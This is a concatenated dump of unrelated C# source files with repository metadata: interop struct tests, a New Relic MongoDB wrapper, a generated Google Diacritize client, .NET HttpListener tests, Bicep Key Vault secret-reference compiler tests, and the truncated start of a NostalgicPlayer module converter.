<see cref="ITfContextOwner" /> struct has the correct size.</summary> [Test] public static void SizeOfTest() { if (Environment.Is64BitProcess) { Assert.That(sizeof(ITfContextOwner), Is.EqualTo(8)); } else { Assert.That(sizeof(ITfContextOwner), Is.EqualTo(4)); } } } }
36.711538
145
0.633316
[ "MIT" ]
DaZombieKiller/terrafx.interop.windows
tests/Interop/Windows/um/msctf/ITfContextOwnerTests.cs
1,911
C#
// Copyright 2020 New Relic, Inc. All rights reserved. // SPDX-License-Identifier: Apache-2.0 using System; using System.Collections.Generic; using System.Threading.Tasks; using NewRelic.Agent.Api; using NewRelic.Agent.Extensions.Parsing; using NewRelic.Agent.Extensions.Providers.Wrapper; using NewRelic.SystemExtensions; namespace NewRelic.Providers.Wrapper.MongoDb26 { public class MongoDatabaseWrapper : IWrapper { private const string WrapperName = "MongoDatabaseWrapper"; public bool IsTransactionRequired => true; private static readonly HashSet<string> CanExtractModelNameMethods = new HashSet<string>() { "CreateCollection", "CreateCollectionAsync", "DropCollection", "DropCollectionAsync" }; public CanWrapResponse CanWrap(InstrumentedMethodInfo methodInfo) { return new CanWrapResponse(WrapperName.Equals(methodInfo.RequestedWrapperName)); } public AfterWrappedMethodDelegate BeforeWrappedMethod(InstrumentedMethodCall instrumentedMethodCall, IAgent agent, ITransaction transaction) { var operation = instrumentedMethodCall.MethodCall.Method.MethodName; var model = TryGetModelName(instrumentedMethodCall); var caller = instrumentedMethodCall.MethodCall.InvocationTarget; ConnectionInfo connectionInfo = MongoDbHelper.GetConnectionInfoFromDatabase(caller); var segment = transaction.StartDatastoreSegment(instrumentedMethodCall.MethodCall, new ParsedSqlStatement(DatastoreVendor.MongoDB, model, operation), isLeaf: true, connectionInfo: connectionInfo); if (!operation.EndsWith("Async", StringComparison.OrdinalIgnoreCase)) { return Delegates.GetDelegateFor(segment); } return Delegates.GetAsyncDelegateFor<Task>(agent, segment, true); } private string TryGetModelName(InstrumentedMethodCall instrumentedMethodCall) { var methodName = instrumentedMethodCall.MethodCall.Method.MethodName; if (CanExtractModelNameMethods.Contains(methodName)) { if (instrumentedMethodCall.MethodCall.MethodArguments[0] is string) { return instrumentedMethodCall.MethodCall.MethodArguments.ExtractNotNullAs<string>(0); } return instrumentedMethodCall.MethodCall.MethodArguments.ExtractNotNullAs<string>(1); } return null; } } }
40.887097
188
0.705325
[ "Apache-2.0" ]
JoshuaColeman/newrelic-dotnet-agent
src/Agent/NewRelic/Agent/Extensions/Providers/Wrapper/MongoDb26/MongoDatabaseWrapper.cs
2,535
C#
//------------------------------------------------------------------------------ // <auto-generated> // This code was generated by a tool. // Runtime Version:2.0.50727.4961 // // Changes to this file may cause incorrect behavior and will be lost if // the code is regenerated. // </auto-generated> //------------------------------------------------------------------------------ namespace Google.Apis.Diacritize.v1.Data { using System; using System.Collections; using System.Collections.Generic; public class LanguageDiacritizeCorpusResource : Google.Apis.Requests.IDirectResponseSchema { private string diacritized_text; private Google.Apis.Requests.RequestError error; private string eTag; [Newtonsoft.Json.JsonPropertyAttribute("diacritized_text")] public virtual string Diacritized_text { get { return this.diacritized_text; } set { this.diacritized_text = value; } } [Newtonsoft.Json.JsonPropertyAttribute("error")] public virtual Google.Apis.Requests.RequestError Error { get { return this.error; } set { this.error = value; } } public virtual string ETag { get { return this.eTag; } set { this.eTag = value; } } } } namespace Google.Apis.Diacritize.v1 { using System; using System.IO; using System.Collections.Generic; using Google.Apis; using Google.Apis.Discovery; public partial class DiacritizeService : Google.Apis.Discovery.IRequestProvider { private Google.Apis.Discovery.IService genericService; private Google.Apis.Authentication.IAuthenticator authenticator; private const string DiscoveryDocument = "{\"kind\":\"discovery#restDescription\",\"id\":\"diacritize:v1\",\"name\":\"diacritize\",\"ver" + "sion\":\"v1\",\"title\":\"Diacritize API\",\"description\":\"Lets you add diacritical mark" + "s to undiacritized text\",\"icons\":{\"x16\":\"http://www.google.com/images/icons/prod" + "uct/search-16.gif\",\"x32\":\"http://www.google.com/images/icons/product/search-32.g" + "if\"},\"documentationLink\":\"http://code.google.com/apis/language/diacritize/v1/usi" + "ng_rest.html\",\"labels\":[\"labs\"],\"protocol\":\"rest\",\"basePath\":\"/language/diacriti" + "ze/\",\"parameters\":{\"alt\":{\"type\":\"string\",\"description\":\"Data format for the res" + "ponse.\",\"default\":\"json\",\"enum\":[\"json\"],\"enumDescriptions\":[\"Responses with Con" + "tent-Type of application/json\"],\"location\":\"query\"},\"fields\":{\"type\":\"string\",\"d" + "escription\":\"Selector specifying which fields to include in a partial response.\"" + ",\"location\":\"query\"},\"key\":{\"type\":\"string\",\"description\":\"API key. Your API key" + " identifies your project and provides you with API access, quota, and reports. R" + "equired unless you provide an OAuth 2.0 token.\",\"location\":\"query\"},\"oauth_token" + "\":{\"type\":\"string\",\"description\":\"OAuth 2.0 token for the current user.\",\"locati" + "on\":\"query\"},\"prettyPrint\":{\"type\":\"boolean\",\"description\":\"Returns response wit" + "h indentations and line breaks.\",\"default\":\"true\",\"location\":\"query\"},\"userIp\":{" + "\"type\":\"string\",\"description\":\"IP address of the site where the request originat" + "es. Use this if you want to enforce per-user limits.\",\"location\":\"query\"}},\"feat" + "ures\":[\"dataWrapper\"],\"schemas\":{\"LanguageDiacritizeCorpusResource\":{\"id\":\"Langu" + "ageDiacritizeCorpusResource\",\"type\":\"object\",\"properties\":{\"diacritized_text\":{\"" + "type\":\"any\"}}}},\"resources\":{\"diacritize\":{\"resources\":{\"corpus\":{\"methods\":{\"ge" + "t\":{\"id\":\"language.diacritize.corpus.get\",\"path\":\"v1\",\"httpMethod\":\"GET\",\"descri" + "ption\":\"Adds diacritical marks to the given message.\",\"parameters\":{\"lang\":{\"typ" + "e\":\"string\",\"description\":\"Language of the message\",\"required\":true,\"location\":\"" + "query\"},\"last_letter\":{\"type\":\"boolean\",\"description\":\"Flag to indicate whether " + "the last letter in a word should be diacritized or not\",\"required\":true,\"locatio" + "n\":\"query\"},\"message\":{\"type\":\"string\",\"description\":\"Message to be diacritized\"" + ",\"required\":true,\"location\":\"query\"}},\"parameterOrder\":[\"message\",\"last_letter\"," + "\"lang\"],\"response\":{\"$ref\":\"LanguageDiacritizeCorpusResource\"}}}}}}}}"; private const string Version = "v1"; private const string Name = "diacritize"; private const string BaseUri = "https://www.googleapis.com/language/diacritize/"; private const Google.Apis.Discovery.DiscoveryVersion DiscoveryVersionUsed = Google.Apis.Discovery.DiscoveryVersion.Version_1_0; private string key; protected DiacritizeService(Google.Apis.Discovery.IService genericService, Google.Apis.Authentication.IAuthenticator authenticator) { this.genericService = genericService; this.authenticator = authenticator; this.diacritize = new DiacritizeResource(this); } public DiacritizeService() : this(Google.Apis.Authentication.NullAuthenticator.Instance) { } public DiacritizeService(Google.Apis.Authentication.IAuthenticator authenticator) : this(new Google.Apis.Discovery.DiscoveryService(new Google.Apis.Discovery.StringDiscoveryDevice(DiscoveryDocument)).GetService(DiacritizeService.DiscoveryVersionUsed, new Google.Apis.Discovery.FactoryParameterV1_0(new System.Uri(DiacritizeService.BaseUri))), authenticator) { } /// <summary>Sets the API-Key (or DeveloperKey) which this service uses for all requests</summary> public virtual string Key { get { return this.key; } set { this.key = value; } } public virtual Google.Apis.Requests.IRequest CreateRequest(string resource, string method) { Google.Apis.Requests.IRequest request = this.genericService.CreateRequest(resource, method); if (!string.IsNullOrEmpty(Key)) { request = request.WithKey(this.Key); } return request.WithAuthentication(authenticator); } public virtual void RegisterSerializer(Google.Apis.ISerializer serializer) { genericService.Serializer = serializer; } public virtual string SerializeObject(object obj) { return genericService.SerializeRequest(obj); } public virtual T DeserializeResponse<T>(Google.Apis.Requests.IResponse response) { return genericService.DeserializeResponse<T>(response); } } public class DiacritizeResource { private Google.Apis.Discovery.IRequestProvider service; private const string Resource = "diacritize"; private CorpusResource corpus; public DiacritizeResource(DiacritizeService service) { this.service = service; this.corpus = new CorpusResource(service); } public virtual CorpusResource Corpus { get { return this.corpus; } } public class CorpusResource { private Google.Apis.Discovery.IRequestProvider service; private const string Resource = "diacritize.corpus"; public CorpusResource(DiacritizeService service) { this.service = service; } /// <summary>Adds diacritical marks to the given message.</summary> /// <param name="message">Required - Message to be diacritized</param> /// <param name="last_letter">Required - Flag to indicate whether the last letter in a word should be diacritized or not</param> /// <param name="lang">Required - Language of the message</param> public virtual GetRequest Get(string message, bool last_letter, string lang) { return new GetRequest(service, message, last_letter, lang); } public class GetRequest : Google.Apis.Requests.ServiceRequest<Google.Apis.Diacritize.v1.Data.LanguageDiacritizeCorpusResource> { private string lang; private bool last_letter; private string message; public GetRequest(Google.Apis.Discovery.IRequestProvider service, string message, bool last_letter, string lang) : base(service) { this.message = message; this.last_letter = last_letter; this.lang = lang; } /// <summary>Language of the message</summary> [Google.Apis.Util.RequestParameterAttribute("lang")] public virtual string Lang { get { return this.lang; } } /// <summary>Flag to indicate whether the last letter in a word should be diacritized or not</summary> [Google.Apis.Util.RequestParameterAttribute("last_letter")] public virtual bool Last_letter { get { return this.last_letter; } } /// <summary>Message to be diacritized</summary> [Google.Apis.Util.RequestParameterAttribute("message")] public virtual string Message { get { return this.message; } } protected override string ResourcePath { get { return "diacritize.corpus"; } } protected override string MethodName { get { return "get"; } } } } } public partial class DiacritizeService { private const string Resource = ""; private DiacritizeResource diacritize; private Google.Apis.Discovery.IRequestProvider service { get { return this; } } public virtual DiacritizeResource Diacritize { get { return this.diacritize; } } } }
44.309434
292
0.529552
[ "Apache-2.0" ]
Victhor94/loggencsg
vendors/gapi/Src/google-api-dotnet-client.contrib/20111005-1.0.0/Generated/Source/Google.Apis.Diacritize.v1.cs
11,742
C#
//------------------------------------------------------------------------------ // <auto-generated> // 此代码由工具生成。 // 运行时版本:4.0.30319.42000 // // 对此文件的更改可能会导致不正确的行为,并且如果 // 重新生成代码,这些更改将会丢失。 // </auto-generated> //------------------------------------------------------------------------------ namespace YoloWpf.Properties { [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "16.7.0.0")] internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase { private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); public static Settings Default { get { return defaultInstance; } } } }
36.037037
151
0.562179
[ "MIT" ]
fengyhack/YoloWpf
YoloWpf/Properties/Settings.Designer.cs
1,081
C#
// Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. // See the LICENSE file in the project root for more information. using System.IO; using System.Net.Http; using System.Text; using System.Threading.Tasks; using Xunit; namespace System.Net.Tests { public class SimpleHttpTests : IDisposable { private HttpListenerFactory _factory; private HttpListener _listener; public SimpleHttpTests() { _factory = new HttpListenerFactory(); _listener = _factory.GetListener(); } public void Dispose() => _factory.Dispose(); [ConditionalFact(nameof(PlatformDetection) + "." + nameof(PlatformDetection.IsNotOneCoreUAP))] public static void Supported_True() { Assert.True(HttpListener.IsSupported); } [ConditionalFact(nameof(PlatformDetection) + "." + nameof(PlatformDetection.IsNotOneCoreUAP))] public void BasicTest_StartStop_NoException() { HttpListener listener = new HttpListener(); try { listener.Start(); listener.Stop(); listener.Close(); } finally { listener.Close(); } } [ConditionalFact(nameof(PlatformDetection) + "." + nameof(PlatformDetection.IsNotOneCoreUAP))] public void BasicTest_StartCloseAbort_NoException() { HttpListener listener = new HttpListener(); try { listener.Start(); listener.Close(); listener.Abort(); } finally { listener.Close(); } } [ConditionalFact(nameof(PlatformDetection) + "." + nameof(PlatformDetection.IsNotOneCoreUAP))] public void BasicTest_StartAbortClose_NoException() { HttpListener listener = new HttpListener(); try { listener.Start(); listener.Abort(); listener.Close(); } finally { listener.Close(); } } [ConditionalFact(nameof(PlatformDetection) + "." + nameof(PlatformDetection.IsNotOneCoreUAP))] public void BasicTest_StopNoStart_NoException() { HttpListener listener = new HttpListener(); listener.Stop(); listener.Close(); } [ConditionalFact(nameof(PlatformDetection) + "." + nameof(PlatformDetection.IsNotOneCoreUAP))] public void BasicTest_CloseNoStart_NoException() { HttpListener listener = new HttpListener(); listener.Close(); } [ConditionalFact(nameof(PlatformDetection) + "." + nameof(PlatformDetection.IsNotOneCoreUAP))] public void BasicTest_AbortNoStart_NoException() { HttpListener listener = new HttpListener(); listener.Abort(); } [ConditionalFact(nameof(PlatformDetection) + "." + nameof(PlatformDetection.IsNotOneCoreUAP))] public void BasicTest_StartThrowsAbortCalledInFinally_AbortDoesntThrow() { HttpListener listener = new HttpListener(); // try to add an invalid prefix (invalid port number) listener.Prefixes.Add("http://doesntexist:99999999/"); try { Assert.Throws<HttpListenerException>(() => listener.Start()); } finally { // even though listener wasn't started (state is 'Closed'), Abort() must not throw. listener.Abort(); // calling Abort() again should still not throw. listener.Abort(); } } [ConditionalFact(nameof(PlatformDetection) + "." + nameof(PlatformDetection.IsNotOneCoreUAP))] public async Task RequestTransferEncoding_MixedCaseChunked_Success() { Task<HttpListenerContext> serverContext = _listener.GetContextAsync(); using (HttpClient client = new HttpClient()) { client.DefaultRequestHeaders.TransferEncodingChunked = true; Task<HttpResponseMessage> clientTask = client.PostAsync(_factory.ListeningUrl, new StringContent("Z")); HttpListenerContext context = await serverContext; Assert.Equal(-1, context.Request.ContentLength64); Assert.Equal("chunked", context.Request.Headers["Transfer-Encoding"]); byte[] buffer = new byte[10]; Assert.Equal(1, context.Request.InputStream.Read(buffer, 0, buffer.Length)); Assert.Equal((byte)'Z', buffer[0]); context.Response.Close(); using (HttpResponseMessage response = await clientTask) { Assert.Equal(200, (int)response.StatusCode); } } } [ConditionalFact(nameof(PlatformDetection) + "." + nameof(PlatformDetection.IsNotOneCoreUAP))] public async Task UnknownHeaders_Success() { Task<HttpListenerContext> server = _listener.GetContextAsync(); using (HttpClient client = new HttpClient()) { client.DefaultRequestHeaders.ConnectionClose = true; HttpRequestMessage requestMessage = new HttpRequestMessage(HttpMethod.Get, _factory.ListeningUrl); for (int i = 0; i < 1000; i++) { requestMessage.Headers.Add($"custom{i}", i.ToString()); } Task<HttpResponseMessage> clientTask = client.SendAsync(requestMessage); HttpListenerContext context = await server; for (int i = 0; i < 1000; i++) { Assert.Equal(i.ToString(), context.Request.Headers[$"custom{i}"]); } context.Response.Close(); using (HttpResponseMessage response = await clientTask) { Assert.Equal(200, (int)response.StatusCode); } } } [ConditionalFact(nameof(PlatformDetection) + "." + nameof(PlatformDetection.IsNotOneCoreUAP))] public async Task SimpleRequest_Succeeds() { const string expectedResponse = "hello from HttpListener"; Task<HttpListenerContext> serverContextTask = _listener.GetContextAsync(); using (HttpClient client = new HttpClient()) { Task<string> clientTask = client.GetStringAsync(_factory.ListeningUrl); HttpListenerContext serverContext = await serverContextTask; using (var response = serverContext.Response) { byte[] responseBuffer = Encoding.UTF8.GetBytes(expectedResponse); response.ContentLength64 = responseBuffer.Length; using (var output = response.OutputStream) { await output.WriteAsync(responseBuffer, 0, responseBuffer.Length); } } var clientString = await clientTask; Assert.Equal(expectedResponse, clientString); } } } }
36.019139
119
0.56416
[ "MIT" ]
Aevitas/corefx
src/System.Net.HttpListener/tests/SimpleHttpTests.cs
7,530
C#
// Copyright (c) Microsoft Corporation. // Licensed under the MIT License. using Bicep.Core.UnitTests.Assertions; using Microsoft.VisualStudio.TestTools.UnitTesting; using FluentAssertions; using Bicep.Core.UnitTests.Utils; using FluentAssertions.Execution; using Bicep.Core.Diagnostics; using System.Linq; namespace Bicep.Core.IntegrationTests.Scenarios { [TestClass] public class ParamKeyVaultSecretReferenceTests { [TestMethod] public void ValidKeyVaultSecretReference() { var (template, diags, _) = CompilationHelper.Compile( ("main.bicep", @" resource kv 'Microsoft.KeyVault/vaults@2019-09-01' existing = { name: 'testkeyvault' } module secret 'secret.bicep' = { name: 'secret' params: { mySecret: kv.getSecret('mySecret') } } "), ("secret.bicep", @" @secure() param mySecret string output exposed string = mySecret ")); diags.Should().BeEmpty(); template!.Should().NotBeNull(); var parameterToken = template!.SelectToken("$.resources[?(@.name == 'secret')].properties.parameters.mySecret")!; using (new AssertionScope()) { parameterToken.SelectToken("$.value")!.Should().BeNull(); parameterToken.SelectToken("$.reference.keyVault.id")!.Should().DeepEqual("[resourceId('Microsoft.KeyVault/vaults', 'testkeyvault')]"); parameterToken.SelectToken("$.reference.secretName")!.Should().DeepEqual("mySecret"); parameterToken.SelectToken("$.reference.secretVersion")!.Should().BeNull(); } } [TestMethod] public void ValidKeyVaultSecretReferenceWithSecretVersion() { var (template, diags, _) = CompilationHelper.Compile( ("main.bicep", @" resource kv 'Microsoft.KeyVault/vaults@2019-09-01' existing = { name: 'testkeyvault' } module secret 'secret.bicep' = { name: 'secret' params: { mySecret: kv.getSecret('mySecret','secretversionguid') } } "), ("secret.bicep", @" @secure() param mySecret string = 'defaultSecret' output exposed string = mySecret ")); diags.Should().BeEmpty(); template!.Should().NotBeNull(); var parameterToken = template!.SelectToken("$.resources[?(@.name == 'secret')].properties.parameters.mySecret")!; using (new AssertionScope()) { parameterToken.SelectToken("$.value")!.Should().BeNull(); parameterToken.SelectToken("$.reference.keyVault.id")!.Should().DeepEqual("[resourceId('Microsoft.KeyVault/vaults', 'testkeyvault')]"); parameterToken.SelectToken("$.reference.secretName")!.Should().DeepEqual("mySecret"); parameterToken.SelectToken("$.reference.secretVersion")!.Should().DeepEqual("secretversionguid"); } } [TestMethod] public void InvalidKeyVaultSecretReferenceUsageInOutput() { var result = CompilationHelper.Compile( ("main.bicep", @" resource kv 'Microsoft.KeyVault/vaults@2019-09-01' existing = { name: 'testkeyvault' } output exposed string = kv.getSecret('mySecret','secretversionguid') ")); result.Should().NotGenerateATemplate(); result.Should().OnlyContainDiagnostic("BCP180", DiagnosticLevel.Error, "Function \"getSecret\" is not valid at this location. It can only be used when directly assigning to a module parameter with a secure decorator."); } [TestMethod] public void InvalidKeyVaultSecretReferenceUsageInVariable() { var result = CompilationHelper.Compile( ("main.bicep", @" resource kv 'Microsoft.KeyVault/vaults@2019-09-01' existing = { name: 'testkeyvault' } var secret = kv.getSecret('mySecret','secretversionguid') ")); result.Should().NotGenerateATemplate(); result.Should().OnlyContainDiagnostic("BCP180", DiagnosticLevel.Error, "Function \"getSecret\" is not valid at this location. It can only be used when directly assigning to a module parameter with a secure decorator."); } [TestMethod] public void InvalidKeyVaultSecretReferenceUsageInNonSecretParam() { var result = CompilationHelper.Compile( ("main.bicep", @" resource kv 'Microsoft.KeyVault/vaults@2019-09-01' existing = { name: 'testkeyvault' } module secret 'secret.bicep' = { name: 'secret' params: { notSecret: kv.getSecret('mySecret','secretversionguid') } } "), ("secret.bicep", @" param notSecret string ")); result.Should().NotGenerateATemplate(); result.Should().OnlyContainDiagnostic("BCP180", DiagnosticLevel.Error, "Function \"getSecret\" is not valid at this location. It can only be used when directly assigning to a module parameter with a secure decorator."); } [TestMethod] public void InvalidKeyVaultSecretReferenceUsageInSecureParamInterpolation() { var result = CompilationHelper.Compile( ("main.bicep", @" resource kv 'Microsoft.KeyVault/vaults@2019-09-01' existing = { name: 'testkeyvault' } module secret 'secret.bicep' = { name: 'secret' params: { testParam: '${kv.getSecret('mySecret','secretversionguid')}' } } "), ("secret.bicep", @" @secure() param testParam string ")); result.Should().NotGenerateATemplate(); result.Should().OnlyContainDiagnostic("BCP180", DiagnosticLevel.Error, "Function \"getSecret\" is not valid at this location. It can only be used when directly assigning to a module parameter with a secure decorator."); } [TestMethod] public void InvalidKeyVaultSecretReferenceUsageInObjectParam() { var result = CompilationHelper.Compile( ("main.bicep", @" resource kv 'Microsoft.KeyVault/vaults@2019-09-01' existing = { name: 'testkeyvault' } module secret 'secret.bicep' = { name: 'secret' params: { testParam: kv.getSecret('mySecret','secretversionguid') } } "), ("secret.bicep", @" param testParam object ")); result.Should().NotGenerateATemplate(); result.Should().OnlyContainDiagnostic("BCP180", DiagnosticLevel.Error, "Function \"getSecret\" is not valid at this location. It can only be used when directly assigning to a module parameter with a secure decorator."); } [TestMethod] public void InvalidKeyVaultSecretReferenceUsageInArrayParam() { var result = CompilationHelper.Compile( ("main.bicep", @" resource kv 'Microsoft.KeyVault/vaults@2019-09-01' existing = { name: 'testkeyvault' } module secret 'secret.bicep' = { name: 'secret' params: { testParam: [ kv.getSecret('mySecret','secretversionguid') ] } } "), ("secret.bicep", @" param testParam array ")); result.Should().NotGenerateATemplate(); result.Should().OnlyContainDiagnostic("BCP180", DiagnosticLevel.Error, "Function \"getSecret\" is not valid at this location. It can only be used when directly assigning to a module parameter with a secure decorator."); } [TestMethod] public void ValidKeyVaultSecretReferenceInLoopedModule() { var (template, diags, _) = CompilationHelper.Compile( ("main.bicep", @" resource kv 'Microsoft.KeyVault/vaults@2019-09-01' existing = { name: 'testkeyvault' } var secrets = [ { name: 'secret01' version: 'versionA' } { name: 'secret02' version: 'versionB' } ] module secret 'secret.bicep' = [for (secret, i) in secrets : { name: 'secret' scope: resourceGroup('secret-${i}-rg') params: { mySecret: kv.getSecret('super-${secret.name}', secret.version) } }] "), ("secret.bicep", @" @secure() param mySecret string = 'defaultSecret' output exposed string = mySecret ")); diags.Should().BeEmpty(); template!.Should().NotBeNull(); var parameterToken = template!.SelectToken("$.resources[?(@.name == 'secret')].properties.parameters.mySecret")!; using (new AssertionScope()) { parameterToken.SelectToken("$.value")!.Should().BeNull(); parameterToken.SelectToken("$.reference.keyVault.id")!.Should().DeepEqual("[resourceId('Microsoft.KeyVault/vaults', 'testkeyvault')]"); parameterToken.SelectToken("$.reference.secretName")!.Should().DeepEqual("[format('super-{0}', variables('secrets')[copyIndex()].name)]"); parameterToken.SelectToken("$.reference.secretVersion")!.Should().DeepEqual("[variables('secrets')[copyIndex()].version]"); } } [TestMethod] public void InvalidKeyVaultSecretReferenceInLoopedModule() { var result = CompilationHelper.Compile( ("main.bicep", @" resource kv 'Microsoft.KeyVault/vaults@2019-09-01' existing = { name: 'testkeyvault' } var secrets = [ { name: 'secret01' version: 'versionA' } { name: 'secret02' version: 'versionB' } ] module secret 'secret.bicep' = [for (secret, i) in secrets : { name: 'secret-{i}' params: { mySecret: '${kv.getSecret(secret.name, secret.version)}' } }] "), ("secret.bicep", @" @secure() param mySecret string = 'defaultSecret' output exposed string = mySecret ")); result.Should().NotGenerateATemplate(); result.Should().OnlyContainDiagnostic("BCP180", DiagnosticLevel.Error, "Function \"getSecret\" is not valid at this location. It can only be used when directly assigning to a module parameter with a secure decorator."); } /// <summary> /// https://github.com/Azure/bicep/issues/2862 /// </summary> [TestMethod] public void ValidKeyVaultSecretReferenceInLoopedModuleWithLoopedKeyVault_Issue2862() { var (template, diags, _) = CompilationHelper.Compile( ("main.bicep", @" var secrets = [ { name: 'secret01' version: 'versionA' vaultName: 'test-1-kv' vaultRG: 'test-1-rg' vaultSub: 'abcd-efgh' } { name: 'secret02' version: 'versionB' vaultName: 'test-2-kv' vaultRG: 'test-2-rg' vaultSub: 'ijkl-1adg1' } ] resource kv 'Microsoft.KeyVault/vaults@2019-09-01' existing = [for secret in secrets: { name: secret.vaultName scope: resourceGroup(secret.vaultSub, secret.vaultRG) }] module secret 'secret.bicep' = [for (secret, i) in secrets : { name: 'secret' scope: resourceGroup('secret-${i}-rg') params: { mySecret: kv[i].getSecret('super-${secret.name}', secret.version) } }] "), ("secret.bicep", @" @secure() param mySecret string = 'defaultSecret' output exposed string = mySecret ")); diags.Should().BeEmpty(); template!.Should().NotBeNull(); var parameterToken = template!.SelectToken("$.resources[?(@.name == 'secret')].properties.parameters.mySecret")!; using (new AssertionScope()) { parameterToken.SelectToken("$.value")!.Should().BeNull(); parameterToken.SelectToken("$.reference.keyVault.id")!.Should().DeepEqual("[extensionResourceId(format('/subscriptions/{0}/resourceGroups/{1}', variables('secrets')[copyIndex()].vaultSub, variables('secrets')[copyIndex()].vaultRG), 'Microsoft.KeyVault/vaults', variables('secrets')[copyIndex()].vaultName)]"); parameterToken.SelectToken("$.reference.secretName")!.Should().DeepEqual("[format('super-{0}', variables('secrets')[copyIndex()].name)]"); parameterToken.SelectToken("$.reference.secretVersion")!.Should().DeepEqual("[variables('secrets')[copyIndex()].version]"); } } /// <summary> /// https://github.com/Azure/bicep/issues/3526 /// </summary> [TestMethod] public void NoDiagnosticsForModuleWithABadPath() { var result = CompilationHelper.Compile( ("main.bicep", @" resource kv 'Microsoft.KeyVault/vaults@2019-09-01' existing = { name: 'testkeyvault' } module secret 'BAD_PATH_MODULE.bicep' = { name: 'secret' params: { notSecret: kv.getSecret('mySecret','secretversionguid') } } ")); result.Should().NotGenerateATemplate(); result.Should().NotHaveDiagnosticsWithCodes(new[] { "BCP180" }, "Function placement should not be evaluated on a module that couldn't be read."); } } }
32.720207
325
0.633017
[ "MIT" ]
Agazoth/bicep
src/Bicep.Core.IntegrationTests/Scenarios/ParamKeyVaultSecretReferenceTests.cs
12,630
C#
/******************************************************************************/ /* This source, or parts thereof, may be used in any software as long the */ /* license of NostalgicPlayer is keep. See the LICENSE file for more */ /* information. */ /* */ /* Copyright (C) 2021 by Polycode / NostalgicPlayer team. */ /* All rights reserved. */ /******************************************************************************/ using System.IO; using Polycode.NostalgicPlayer.Kit.Bases; using Polycode.NostalgicPlayer.Kit.Containers; using Polycode.NostalgicPlayer.Kit.Streams; using Polycode.NostalgicPlayer.Kit.Utility; namespace Polycode.NostalgicPlayer.Agent.ModuleConverter.ModuleConverter.Formats { /// <summary> /// Can convert Future Composer 1.0 - 1.3 to Future Composer 1.4 format /// </summary> internal class ModuleConverterWorker_FutureComposer13 : ModuleConverterAgentBase { #region Tables // Wave table lengths private static readonly byte[] waveLength = { 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x10, 0x08, 0x10, 0x10, 0x08, 0x08, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; // Wave tables private static readonly byte[] waveTables = { 0xc0, 0xc0, 0xd0, 0xd8, 0xe0, 0xe8, 0xf0, 0xf8, // 0 0x00, 0xf8, 0xf0, 0xe8, 0xe0, 0xd8, 0xd0, 0xc8, 0x3f, 0x37, 0x2f, 0x27, 0x1f, 0x17, 0x0f, 0x07, 0xff, 0x07, 0x0f, 0x17, 0x1f, 0x27, 0x2f, 0x37, 0xc0, 0xc0, 0xd0, 0xd8, 0xe0, 0xe8, 0xf0, 0xf8, // 1 0x00, 0xf8, 0xf0, 0xe8, 0xe0, 0xd8, 0xd0, 0xc8, 0xc0, 0x37, 0x2f, 0x27, 0x1f, 0x17, 0x0f, 0x07, 0xff, 0x07, 0x0f, 0x17, 0x1f, 0x27, 0x2f, 0x37, 0xc0, 0xc0, 0xd0, 0xd8, 0xe0, 0xe8, 0xf0, 0xf8, // 2 0x00, 0xf8, 0xf0, 0xe8, 0xe0, 0xd8, 0xd0, 0xc8, 0xc0, 0xb8, 0x2f, 0x27, 0x1f, 0x17, 0x0f, 0x07, 0xff, 0x07, 0x0f, 0x17, 0x1f, 0x27, 0x2f, 0x37, 0xc0, 0xc0, 0xd0, 0xd8, 0xe0, 0xe8, 0xf0, 0xf8, // 3 0x00, 0xf8, 0xf0, 0xe8, 0xe0, 0xd8, 0xd0, 0xc8, 0xc0, 0xb8, 0xb0, 0x27, 0x1f, 0x17, 0x0f, 0x07, 0xff, 0x07, 0x0f, 0x17, 0x1f, 0x27, 0x2f, 0x37, 0xc0, 0xc0, 0xd0, 0xd8, 0xe0, 0xe8, 0xf0, 0xf8, // 4 0x00, 0xf8, 0xf0, 0xe8, 0xe0, 0xd8, 0xd0, 0xc8, 0xc0, 0xb8, 0xb0, 0xa8, 0x1f, 0x17, 0x0f, 0x07, 0xff, 0x07, 0x0f, 0x17, 0x1f, 0x27, 0x2f, 0x37, 0xc0, 0xc0, 0xd0, 0xd8, 0xe0, 0xe8, 0xf0, 0xf8, // 5 0x00, 0xf8, 0xf0, 0xe8, 0xe0, 0xd8, 0xd0, 0xc8, 0xc0, 0xb8, 0xb0, 0xa8, 0xa0, 0x17, 0x0f, 0x07, 0xff, 0x07, 0x0f, 0x17, 0x1f, 0x27, 0x2f, 0x37, 0xc0, 0xc0, 0xd0, 0xd8, 0xe0, 0xe8, 0xf0, 0xf8, // 6 0x00, 0xf8, 0xf0, 0xe8, 0xe0, 0xd8, 0xd0, 0xc8, 0xc0, 0xb8, 0xb0, 0xa8, 0xa0, 0x98, 0x0f, 0x07, 0xff, 0x07, 0x0f, 0x17, 0x1f, 0x27, 0x2f, 0x37, 0xc0, 0xc0, 0xd0, 0xd8, 0xe0, 0xe8, 0xf0, 0xf8, // 7 0x00, 0xf8, 0xf0, 0xe8, 0xe0, 0xd8, 0xd0, 0xc8, 0xc0, 0xb8, 0xb0, 0xa8, 0xa0, 0x98, 0x90, 0x07, 0xff, 0x07, 0x0f, 0x17, 0x1f, 0x27, 0x2f, 0x37, 0xc0, 0xc0, 0xd0, 0xd8, 0xe0, 0xe8, 0xf0, 0xf8, // 8 0x00, 0xf8, 0xf0, 0xe8, 0xe0, 0xd8, 0xd0, 0xc8, 0xc0, 0xb8, 0xb0, 0xa8, 0xa0, 0x98, 0x90, 0x88, 0xff, 0x07, 0x0f, 